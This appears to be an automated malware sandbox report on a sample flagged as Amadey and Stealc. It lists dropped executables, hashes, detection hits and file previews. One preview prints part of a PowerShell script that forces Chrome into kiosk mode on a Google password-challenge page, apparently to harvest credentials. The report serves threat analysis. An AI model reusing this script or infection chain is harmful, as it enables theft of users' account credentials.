Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......@j...........@..........................pj.....c ....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .P*...%......:..............@...ipavvigs.....0P......<..............@...zxudawlj.....0j......0..............@....taggant.0...@j.."...4..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\ko[1].ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1166
Entropy (8bit):	4.99069042010922
Encrypted:	false
SSDEEP:	24:ii1cU00O+g5KkB0O+g5KkhpA22SkAHYMVM35p7wohor/gT:ii1cU5pgUkOpgUkh+22SkxIohor/y
MD5:	35292F05C28986BD94CC363C44485653
SHA1:	81047EE0529810FE35619FE2CFF6B5C1AE9B7FB4
SHA-256:	03D8C848BD6D6D25CBA8C809CBA33B541ED43A95C09BCB669741CC9D6A91F80E
SHA-512:	89FEFF3083BB66F51FEC71B952465DB62FF61E60DBD25C3F5986D00747F0EF68CECE359AA8D992B2C6667D1A29F93A5E91C57FE22C54EDA25344597A809A5EDD
Malicious:	false
Preview:	$chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"..$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"....$chromeDefaultProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default"..$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"....$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"....function Start-Browser {.. param (.. [string[]]$paths,.. [string]$firstUrl,.. [string]$chromeDefaultProfilePath,.. [string]$chromeProfilePath.. ).... if (Test-Path $chromeDefaultProfilePath) {.. $profileArg = "--user-data-dir=$chromeProfilePath".. } else {.. $profileArg = "--user-data-dir=$chromeProfilePath".. }.... foreach ($path in $paths) {.. if (Test-Path $path) {.. Start-Process -FilePath $path -ArgumentList "$firstUrl --kiosk $profileArg".. return.. }.. }..}....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1857024
Entropy (8bit):	7.945161285812313
Encrypted:	false
SSDEEP:	49152:UI5CYjYQI+EQrY+MzBqyA1Yz1OcgWif/D3ZOpRgr:UkkT+wzBq2hW/YpRgr
MD5:	B92F60A126C6E055A86CF6145CFCCFC3
SHA1:	4878B0DAE9C643B93271C13E4B941EC8EA1CFA7C
SHA-256:	D24E4DC40F6BF9387D4C2FE5FE72BFFEDB244BA67E4386A7EAF7D25DB4E3340B
SHA-512:	0545BB5DD16ADF67077BA0D49B90813F76A9A070538608701E2DA440355221B1EFD90CD06F82CB98840F6C75ACF9B249D817FDF903F919E3CE176A09BADCBE03
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......@j...........@..........................pj.....c ....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .P*...%......:..............@...ipavvigs.....0P......<..............@...zxudawlj.....0j......0..............@....taggant.0...@j.."...4..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1256
Entropy (8bit):	5.389183117405357
Encrypted:	false
SSDEEP:	24:3pWSKco4KmBs4RPT6BmFoUebIlmjKcmZ9tXt/NK3R8eru:5WSU4y4RQmFoUeUmfmZ9tlNWR8ey
MD5:	7EAC0DD8BB805174A761F897693B6961
SHA1:	95A7C2FB8ADCA74ECB27BF76D37D9F0A6B8C8C87
SHA-256:	1CEA93D8C520B1BE0CCC777FAF9002F9B40A79F1E41936647F367C0B6886A876
SHA-512:	84B4E0AF951B056D93D4EA097DCF34097C5934313D141DE11685628862513C2DB0BAF8CEE0977947D15F193B0CA3A142077F7A7B4D60FE0B095609488D1DD698
Malicious:	false
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1166
Entropy (8bit):	4.99069042010922
Encrypted:	false
SSDEEP:	24:ii1cU00O+g5KkB0O+g5KkhpA22SkAHYMVM35p7wohor/gT:ii1cU5pgUkOpgUkh+22SkxIohor/y
MD5:	35292F05C28986BD94CC363C44485653
SHA1:	81047EE0529810FE35619FE2CFF6B5C1AE9B7FB4
SHA-256:	03D8C848BD6D6D25CBA8C809CBA33B541ED43A95C09BCB669741CC9D6A91F80E
SHA-512:	89FEFF3083BB66F51FEC71B952465DB62FF61E60DBD25C3F5986D00747F0EF68CECE359AA8D992B2C6667D1A29F93A5E91C57FE22C54EDA25344597A809A5EDD
Malicious:	true
Preview:	$chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"..$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"....$chromeDefaultProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default"..$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"....$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"....function Start-Browser {.. param (.. [string[]]$paths,.. [string]$firstUrl,.. [string]$chromeDefaultProfilePath,.. [string]$chromeProfilePath.. ).... if (Test-Path $chromeDefaultProfilePath) {.. $profileArg = "--user-data-dir=$chromeProfilePath".. } else {.. $profileArg = "--user-data-dir=$chromeProfilePath".. }.... foreach ($path in $paths) {.. if (Test-Path $path) {.. Start-Process -FilePath $path -ArgumentList "$firstUrl --kiosk $profileArg".. return.. }.. }..}....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2griquep.bjc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sfe5l5zb.o2z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\4qIl08vrFY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	427008
Entropy (8bit):	6.513782601584624
Encrypted:	false
SSDEEP:	12288:MXyHTfxyxfLot/eoWBXkTLL/+gJuGumEaheXGE/t6:1zfxyxDCG70L7RZhe2h
MD5:	7A1CEE6327C5ACF66E2AEBB0D7BC25BC
SHA1:	21FD9F492B550168249793C5B93A0BE586E96791
SHA-256:	83F5E08F80CB28BA3197E06721B05FC1A1018CB7EA908F054AEA6A69014E1A13
SHA-512:	A48C23A7AD386DD60AB7A1709AF05B49FF18EB2F08F3C939E148380EB9C59693F5FFD0F3DAD4C042A1CE473855CC1DE018FD93702ECBEAE96EE6447615CE5781
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..........................................@.......................................@.................................\....................................L......8...............................@............................................text...:........................... ..`.rdata..P...........................@..@.data....f... ...4..................@....rsrc................4..............@..@.reloc...L.......N...6..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\4qIl08vrFY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SystemTemp\chrome_BITS_6968_1660607800\BIT6F62.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7314
Entropy (8bit):	7.726957054347336
Encrypted:	false
SSDEEP:	192:CryTISsNCIq37YgZkUBOW4dNiTkzBO2HT3tsY:nT4YE8AW3kztBX
MD5:	B22EE22C7BDC09A81DF6804E2843CA2D
SHA1:	E8B4DF8DEFD371E9AF3E053681C7C54CABD29544
SHA-256:	DBF288588465463A914BDFC5E86D465FB3592B2F1261DC0E40FCC5C1ADC8E7E4
SHA-512:	CFD33EA1156241D56157D5381C48BE65E80290AC5BCB541C0AAE0EBB3E8010BD6EBA8F74C77A37A17ACF9B5A1C2C0090B61B146385689344C34DE4FF7C0C704F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b..............g..i-.T&$..k..9.j.H(...,.[;.\...D.....n...#:.....4yYd.:.;,.b....j.....`.H>...^...?.Jm....g.3........g...+-.....v.a..n.h....D.Nf.b5..p....IC....E..b.y...C...C.,k.[.h.T=3.uU;#.">..........zW=.1E..+.._..\|..tg1..\.ST.6....?]...R9......)...........0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.*ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_BITS_6968_1660607800\gonpemdgkjcecdgbnaabipppbmgfggbe_2024.08.10.00_all_ngbcdbf23y5deox6qfrqcyni5e.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7314
Entropy (8bit):	7.726957054347336
Encrypted:	false
SSDEEP:	192:CryTISsNCIq37YgZkUBOW4dNiTkzBO2HT3tsY:nT4YE8AW3kztBX
MD5:	B22EE22C7BDC09A81DF6804E2843CA2D
SHA1:	E8B4DF8DEFD371E9AF3E053681C7C54CABD29544
SHA-256:	DBF288588465463A914BDFC5E86D465FB3592B2F1261DC0E40FCC5C1ADC8E7E4
SHA-512:	CFD33EA1156241D56157D5381C48BE65E80290AC5BCB541C0AAE0EBB3E8010BD6EBA8F74C77A37A17ACF9B5A1C2C0090B61B146385689344C34DE4FF7C0C704F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b..............g..i-.T&$..k..9.j.H(...,.[;.\...D.....n...#:.....4yYd.:.;,.b....j.....`.H>...^...?.Jm....g.3........g...+-.....v.a..n.h....D.Nf.b5..p....IC....E..b.y...C...C.,k.[.h.T=3.uU;#.">..........zW=.1E..+.._..\|..tg1..\.ST.6....?]...R9......)...........0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.*ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.021127689065198
Encrypted:	false
SSDEEP:	48:p/hUI1atAdI567akUmYWEFw/3+ovGJ4F3jkZUbvzk98g5m7:RnYQI47avYUwvVGJ41jkZIzxgA7
MD5:	68E6B5733E04AB7BF19699A84D8ABBC2
SHA1:	1C11F06CA1AD3ED8116D356AB9164FD1D52B5CF0
SHA-256:	F095F969D6711F53F97747371C83D5D634EAEF21C54CB1A6A1CC5B816D633709
SHA-512:	9DC5D824A55C969820D5D1FBB0CA7773361F044AE0C255E7C48D994E16CE169FCEAC3DE180A3A544EBEF32337EA535683115584D592370E5FE7D85C68B86C891
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiIyNXB3SWdtQWU2QTVoeDVVTG9OV0laODBLbzJjbktOTHpacUdjbjlLT2c4In0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiOWVza0FuRlBsM3VCQzkwUmFWakxNaVI3NXZIQi0wQUVmMmg0RzU3ZXNpcyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC44LjEwLjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"dU2MmRUQSugaJAJvEN4uaQHx-KXdOkjj0yK8_aH4Afr3kN7DPOZRt6yLTS3UchBE5M-dgPPPBuKADj4KEK4B22SO6WQquL5J27AUPqQBGgr44-iFGVJdOLLlfirFlJmcYv6DUFRYiPsQFGMr1JFqInj19jgkOxzR6qqcNuTCB0wGEMeTU80r-igCjeQG6TIzPro7yKd_-UxsxO6OGAySmlIJIoU54X0p0ATNoZyAfkhb8kb0oN8unOU

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9159446964030753
Encrypted:	false
SSDEEP:	3:Sq5TQRaELVHecsUDBAeHD5k:Sq5gJ+csHej5k
MD5:	CFB54589424206D0AE6437B5673F498D
SHA1:	D1EF6314F0F68EFDD0BA8F6CA9E59BFF863B1609
SHA-256:	285AC183C35350B4B77332172413902F83726CA8F53D63859B5DA082FD425A1C
SHA-512:	70FDCA4A1E6B7A5FFED3414E2DB74FECA7E0FD17482B8CB30393DFEE20AB9AD2B0B00FF0C590DD0E8D744D0EAD876CE8844519AF66618ED14666BCA56DF2DA21
Malicious:	false
Preview:	1.dbf288588465463a914bdfc5e86d465fb3592b2f1261dc0e40fcc5c1adc8e7e4

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.4533115571544695
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1tean:F6VlM8aRWpqS1ln
MD5:	C3419069A1C30140B77045ABA38F12CF
SHA1:	11920F0C1E55CADC7D2893D1EEBB268B3459762A
SHA-256:	DB9A702209807BA039871E542E8356219F342A8D9C9CA34BCD9A86727F4A3A0F
SHA-512:	C5E95A4E9F5919CB14F4127539C4353A55C5F68062BF6F95E1843B6690CEBED3C93170BADB2412B7FB9F109A620385B0AE74783227D6813F26FF8C29074758A1
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.8.10.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9748
Entropy (8bit):	4.629326694042306
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJq:v5C4ql7BkIVmtRTGXvcxBsq
MD5:	EEA4913A6625BEB838B3E4E79999B627
SHA1:	1B4966850F1B117041407413B70BFA925FD83703
SHA-256:	20EF4DE871ECE3C5F14867C4AE8465999C7A2CC1633525E752320E61F78A373C
SHA-512:	31B1429A5FACD6787F6BB45216A4AB1C724C79438C18EBFA8C19CED83149C17783FD492A03197110A75AAF38486A9F58828CA30B58D41E0FE89DFE8BDFC8A004
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\4qIl08vrFY.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4239311770439427
Encrypted:	false
SSDEEP:	6:ZeCuX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lbJGt0:ZbcuQ1CGAFifXVVGt0
MD5:	8D29886CF7616663929FDDDA526A456B
SHA1:	29F3D595078E2D665492170CDC15C2A165CB5604
SHA-256:	F8741DBE8A8FE5244953ADCF7A9BC60FA7FBEE83A2A49997505DAE1F7EB64BEB
SHA-512:	3B037833BF6D601A392AB68CF805BBAC01FC1345C6156D01BD176671D2D75783BAE1AF1A2EC05D23ADA71129F02A5115272D8EEEFCBB5DB5474DDD7D60CA184E
Malicious:	false
Preview:	....G.g...CN......F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................4.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.513782601584624
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4qIl08vrFY.exe
File size:	427'008 bytes
MD5:	7a1cee6327c5acf66e2aebb0d7bc25bc
SHA1:	21fd9f492b550168249793c5b93a0be586e96791
SHA256:	83f5e08f80cb28ba3197e06721b05fc1a1018cb7ea908f054aea6a69014e1a13
SHA512:	a48c23a7ad386dd60ab7a1709af05b49ff18eb2f08f3c939e148380eb9c59693f5ffd0f3dad4c042a1ce473855cc1de018fd93702ecbeae96ee6447615ce5781
